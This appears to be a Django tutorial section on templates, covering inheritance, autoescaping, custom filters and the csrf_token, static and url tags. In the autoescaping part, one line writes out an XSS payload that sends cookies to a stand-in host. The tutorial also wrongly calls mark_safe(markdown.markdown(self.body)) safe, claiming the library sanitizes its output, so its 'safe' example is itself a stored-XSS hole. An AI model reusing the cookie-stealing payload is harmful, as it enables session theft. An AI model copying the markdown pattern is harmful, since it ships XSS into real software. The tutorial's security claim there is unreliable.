Filter concepts by levelShowing all levels.

Django · Section 8

Templates

Level
intermediate
Read
30 min
Concepts
4

Template inheritance ({% extends %}/{% block %}/{% include %}), autoescaping and when marking content safe is genuinely safe, writing a custom tag or filter and where it needs to live, template loading order, and the three built-in tags — csrf_token, static, url — no template should ever hard-code around.

This section

What is true here

  1. {% extends %} must be the first tag in a child template; an unoverridden block falls back to the parent's content; {{ block.super }} adds to it.
  2. Autoescaping is on by default — |safe and mark_safe() must only wrap output from a KNOWN, TRUSTED transformation, never raw user input.
  3. Custom tags/filters live in <app>/templatetags/ and require {% load name %} in every template that uses them, not just once project-wide.
  4. APP_DIRS searches DIRS first, then every installed app's templates/ in INSTALLED_APPS order — the first matching filename wins.
  5. {% csrf_token %} is required in every POST form; {% static %} and {% url %} resolve asset paths and URLs by name rather than a hard-coded string.

What you will be able to do

  • Structure a base template with overridable blocks, and extend it correctly
  • Judge when marking a value safe from autoescaping is genuinely safe versus an XSS risk
  • Write and register a custom template filter, and load it correctly in a template
  • Build a form template using csrf_token, static, and url instead of hard-coded equivalents

Structure and safety

How templates share structure through inheritance, and how output stays safe from injected HTML by default.

Template inheritance

corebeginner

{% extends "base.html" %} (first tag, required) makes a template inherit a parent's structure; {% block name %}...{% endblock %} marks a section the child can override; {% include "x.html" %} renders a separate template in place, independently.

Think of it as

A base template is a printed form with labeled blank sections — {% block %} is the label on each blank. A child template that {% extends %} it fills in only the blanks it cares about; anything it doesn't override falls back to what the base already wrote in that blank. {% include %} is different in kind: it's pasting in a whole separate sheet, rendered on its own, sharing nothing with the including template except the context passed to it.

html
{% extends "base.html" %}
{% block content %}
  {% include "articles/_comment_list.html" with comments=article.comments %}
{% endblock %}

What we're doing: Extend a shared base template, override one block, and reuse the parent's content in another via block.super.

articles/detail.htmlhtml
{% extends "base.html" %}

{% block title %}
  {{ article.title }} — {{ block.super }}
{% endblock %}

{% block content %}
  <h1>{{ article.title }}</h1>
  <p>{{ article.body }}</p>
{% endblock %}
1
{% extends %} is the first line, before even a comment — this is enforced, not just convention.
4
{{ block.super }} inserts base.html's own <title> content ("My Site") rather than replacing it entirely, so the page title becomes "Article Name — My Site".

Why this works: Overriding a block replaces it completely by default — {{ block.super }} is the specific escape hatch for when a child wants to ADD to the parent's content rather than fully replace it, exactly like this title block combining the article name with the site's own base title.

Putting content before {% extends %}

Wrong

html
{# a helpful comment #}
{% extends "base.html" %}
{% block content %}...{% endblock %}

Better

html
{% extends "base.html" %}
{# a helpful comment can go here instead #}
{% block content %}...{% endblock %}

What you see: TemplateSyntaxError: 'extends' cannot appear more than once in the same template, or the extends tag is silently ignored and the child renders as a standalone page instead of inheriting base.html.

Why: {% extends %} is documented to be the first tag in the template with nothing preceding it, including comments — Django's template parser uses this positional rule to recognize an inheriting template at all, rather than scanning the whole file for the tag.

A block left unfilled falls through to the parent

base.html

defines {% block content %}default{% endblock %}

child.html

{% extends "base.html" %}, does not override content

Rendered output

shows "default" — the parent's own block content

  1. base.html — defines {% block content %}default{% endblock %}
  2. child.html — {% extends "base.html" %}, does not override content
  3. Rendered output — shows "default" — the parent's own block content

Inheritance vs. inclusion

Inheritance vs. inclusion
TagRelationship to the other templateShares context?
{% extends %}child fills labeled blocks in a parentyes — same rendering pass
{% block %}names one overridable section
{{ block.super }}inserts the parent's version of the current block
{% include %}renders a separate template in placeyes by default; only limits it

Together

html
{# base.html #}
<title>{% block title %}My Site{% endblock %}</title>
<body>{% block content %}{% endblock %}</body>

{# page.html #}
{% extends "base.html" %}
{% block title %}Articles — {{ block.super }}{% endblock %}
{% block content %}<p>Hello</p>{% endblock %}

Remember: {% extends %} must be the first tag; a block not overridden falls back to the parent's content; {{ block.super }} adds to it instead of replacing it; {% include %} renders a separate template independently, sharing context by default.

See also: templates · autoescaping and safe strings

Autoescaping and safe strings

coreintermediate

Every {{ variable }} is HTML-escaped by default (< > & ' " become entities), so template output is safe against XSS unless deliberately opted out — via the |safe filter, mark_safe() in Python, or {% autoescape off %}. Marking user-supplied content safe reintroduces exactly the vulnerability escaping exists to prevent.

Think of it as

Autoescaping is a security guard checking every value on its way into the page — by default nothing gets past without being neutralized. |safe and mark_safe() are a note from a trusted source saying "let this one through unchanged" — the guard trusts the note completely and never re-checks, which is exactly why the note itself must never be handed to something a visitor typed into a form.

python
from django.utils.safestring import mark_safe

def render_markdown(text):
    html = markdown.markdown(text)
    return mark_safe(html)   # trusted: generated by a known library, not raw user input

What we're doing: Render markdown-derived HTML safely, marking only the library's own trusted output as safe — never the raw user input it was generated from.

articles/models.pypython
from django.utils.safestring import mark_safe
import markdown

class Article(models.Model):
    body = models.TextField()  # raw, untrusted markdown source, typed by a user

    def body_html(self):
        return mark_safe(markdown.markdown(self.body))
5
self.body is the raw, untrusted user input — it is never marked safe directly, only the markdown library's rendered OUTPUT is.

Why this works: mark_safe() is applied to markdown.markdown(self.body) — the library's escaped, sanitized HTML output — not to self.body itself, which could contain a raw <script> tag if a user typed one. The distinction is exactly what keeps this pattern safe: trust the known transformation's output, never the raw input it started from.

Marking raw user input safe to "fix" an escaping-looks-ugly complaint

Wrong

html
{# comment.text is raw text a visitor typed into a form #}
<p>{{ comment.text|safe }}</p>

Better

html
{# let autoescaping do its job — this is what it's for #}
<p>{{ comment.text }}</p>

What you see: A comment containing <script>document.location='https://evil.example/steal?c='+document.cookie</script> executes in every other visitor's browser when the comment is displayed — a stored XSS vulnerability.

Why: |safe tells Django to trust that a value is already valid, harmless HTML — comment.text is neither: it is exactly the kind of untrusted, user-typed string autoescaping exists to neutralize. Removing the escaping on it does not fix a display problem, it reopens the vulnerability the default behavior was protecting against.

Autoescaping is the default guard, |safe opts one value out
explicitopt-out

{{ value }}

autoescaping

on by default — escapes < > & ' "

escaped HTML

safe, even if value contains <script>

|safe / mark_safe()

opts out — value must ALREADY be trusted HTML

  • {{ value }}
    • leads to autoescaping
    • on error, leads to |safe / mark_safe() (explicit opt-out)
  • autoescaping — on by default — escapes < > & ' "
    • leads to escaped HTML
  • escaped HTML — safe, even if value contains <script>
  • |safe / mark_safe() — opts out — value must ALREADY be trusted HTML

Opting out of autoescaping

Opting out of autoescaping
MechanismScopeWhere used
{{ value|safe }}one variable, one outputinside a template
mark_safe(value)the string itself, wherever it's usedPython code (view, model method)
{% autoescape off %}everything inside the blockinside a template

Together

html
{{ article.title }}          {# escaped — safe even if title contains <script> #}
{{ article.rendered_html|safe }}   {# NOT escaped — must already be trusted HTML #}

Remember: Autoescaping is on by default and safe by default — |safe/mark_safe() must only ever be applied to output from a KNOWN, TRUSTED transformation, never to raw user input.

See also: templates · template inheritance

Advertisement

Extending the language, and the built-ins

Writing your own tags and filters, how Django finds a template file at all, and the three tags every real template reaches for.

Custom tags, filters, and template loading

standardintermediate

A custom filter is a plain function registered with @register.filter; a simple custom tag is a function registered with @register.simple_tag. Both live in an app's templatetags/ package and are brought into a template with {% load name %}. APP_DIRS=True makes Django search DIRS first, then each installed app's templates/ folder.

Think of it as

templatetags/ is an app's own toolbox, separate from its models or views — {% load poll_extras %} is opening that specific toolbox before reaching for a tool inside it. Template loading itself is a search: Django walks DIRS in order, then every installed app's templates/ folder in INSTALLED_APPS order, and uses the first matching filename it finds — which is exactly why two apps shipping the same template filename can silently shadow one another.

python
# blog/templatetags/blog_extras.py
from django import template
register = template.Library()

@register.simple_tag
def current_year():
    from django.utils import timezone
    return timezone.now().year

What we're doing: Write and use a custom filter to truncate a body of text to a fixed word count, something none of the built-in filters do exactly this way.

blog/templatetags/blog_extras.pypython
from django import template

register = template.Library()

@register.filter
def truncate_words(value, count):
    words = value.split()
    if len(words) <= count:
        return value
    return " ".join(words[:count]) + "..."
4
@register.filter with no name= argument registers it under the function's own name, truncate_words — usable in a template as {{ value|truncate_words:20 }}.

Why this works: A custom filter is the right tool here specifically because the transformation is a single value in, single value out — Django's own built-in filters (truncatewords exists, but this shows the general shape) all follow this same one-value-plus-optional-argument contract, which is what makes them chainable with the pipe syntax.

Forgetting {% load %} for a custom tag library in every template that needs it

Wrong

html
{# article_list.html — no {% load %} #}
<p>{{ article.body|truncate_words:30 }}</p>

Better

html
{% load blog_extras %}
<p>{{ article.body|truncate_words:30 }}</p>

What you see: TemplateSyntaxError: Invalid filter: 'truncate_words' — even though the exact same filter works fine in a different template that DID load it.

Why: {% load %} is required per-template, not project-wide — a tag library available in one template because it was loaded there provides zero visibility to any other template, including ones that {% include %} or {% extends %} it. Each template that uses a custom tag/filter needs its own {% load %} line.

Custom filter vs. custom simple tag

Custom filter vs. custom simple tag
Aspect@register.filter@register.simple_tag
Template syntax{{ value|name:arg }}{% name arg %}
Argumentsthe piped value, plus one optional argany number, positional or keyword
Can access full contextnoyes, with takes_context=True
Store result in a variablenoyes, with {% name arg as var %}

Together

python
# blog/templatetags/blog_extras.py
from django import template
register = template.Library()

@register.filter
def truncate_words(value, count):
    words = value.split()
    return " ".join(words[:count]) + ("..." if len(words) > count else "")

Remember: Custom tags/filters live in <app>/templatetags/, need {% load name %} in every template that uses them; APP_DIRS searches DIRS first, then each app's templates/ in INSTALLED_APPS order — first match wins.

See also: templates · templates dir

csrf_token, static, and url tags

corebeginner

{% csrf_token %} inserts a hidden field required on every POST form; {% static "path" %} (after {% load static %}) resolves a static file to its real URL; {% url "name" %} (built in, no load needed) resolves a URL by name via reverse() — none of the three should ever be replaced with a hard-coded equivalent.

Think of it as

These three tags all convert something that could go stale into something computed fresh at render time — a signed token, a static file's real deployed path (which changes once STATIC_URL or a CDN does), and a URL by name (which changes the moment urls.py does). Hard-coding any of the three works today and breaks the next time the thing it stood in for changes.

html
<a href="{% url 'articles:detail' pk=article.pk %}">{{ article.title }}</a>

What we're doing: Build a POST form pointing at a named URL, with CSRF protection and a static asset both resolved by tag rather than hard-coded.

articles/form.htmlhtml
{% load static %}
<link rel="stylesheet" href="{% static 'css/forms.css' %}">

<form method="post" action="{% url 'articles:create' %}">
  {% csrf_token %}
  {{ form }}
  <button type="submit">Save</button>
</form>
2
{% static %} resolves the CSS file's real deployed URL — the same path collectstatic would produce, whatever STATIC_URL or a CDN prefix happens to be in this environment.
4
{% url 'articles:create' %} resolves the form's target via the same namespace/reverse() machinery as a Python-side reverse() call — never a hard-coded "/articles/new/".

Why this works: All three lines resolve something at render time that would otherwise have to be kept in sync by hand across every template that uses it — a moved static asset, a renamed URL pattern, or (for csrf_token) a per-session cryptographic value none of these could be hard-coded even if a developer wanted to.

Submitting a POST form with no {% csrf_token %}

Wrong

html
<form method="post" action="{% url 'articles:create' %}">
  {{ form }}
  <button type="submit">Save</button>
</form>

Better

html
<form method="post" action="{% url 'articles:create' %}">
  {% csrf_token %}
  {{ form }}
  <button type="submit">Save</button>
</form>

What you see: Forbidden (403): CSRF verification failed. Request aborted. — every submission of this form fails, since CsrfViewMiddleware rejects any unsafe request missing a valid token.

Why: CsrfViewMiddleware checks every POST/PUT/PATCH/DELETE request for a valid CSRF token by default — {% csrf_token %} is what puts that token into the submitted form in the first place. Without it, the request has nothing for the middleware to validate against, and Django rejects it outright rather than silently skipping the check.

Three tags, all resolved fresh at render time

{% csrf_token %}

a signed, per-session hidden field

{% static 'path' %}

the real deployed URL, via STATIC_URL

{% url 'name' %}

reverse() by name, not a hard-coded path

  • {% csrf_token %} — a signed, per-session hidden field
  • {% static 'path' %} — the real deployed URL, via STATIC_URL
  • {% url 'name' %} — reverse() by name, not a hard-coded path

The three tags at a glance

The three tags at a glance
TagNeeds {% load %}Resolves to
{% csrf_token %}no — always availablea hidden input with a signed token
{% static "path" %}yes — {% load static %}STATIC_URL + path
{% url "name" %}no — always availablereverse("name", ...)

Together

html
{% load static %}
<link rel="stylesheet" href="{% static 'css/site.css' %}">

<form method="post" action="{% url 'articles:create' %}">
  {% csrf_token %}
  ...
</form>

Remember: Never hard-code what these three tags compute: {% csrf_token %} in every POST form, {% static %} for asset paths, {% url %} for links — all three stay correct automatically as the project changes.

See also: templates · reverse and reverse lazy · static files

Advertisement